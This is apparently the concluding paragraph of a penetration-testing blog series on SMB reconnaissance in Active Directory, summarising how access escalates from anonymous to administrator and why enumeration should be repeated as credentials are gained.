In the example scenarios, we went from anonymous access (unauthenticated) to standard user (authenticated) to local administrator (privileged), and saw the different things that we can do at each level of access. This is an important aspect of Active Directory hacking; and, hacking in general. Often, we find our enumeration efforts needs to be cyclical to be most effective, which means circling back to important services once additional access (credentials, hashes, etc.) have been obtained.
Last but not least, the main takeaway for the SMB recon posts are that this service is absolute gold for attackers! It is one of those services that should always be a primary target when found open – especially in an Active Directory environment.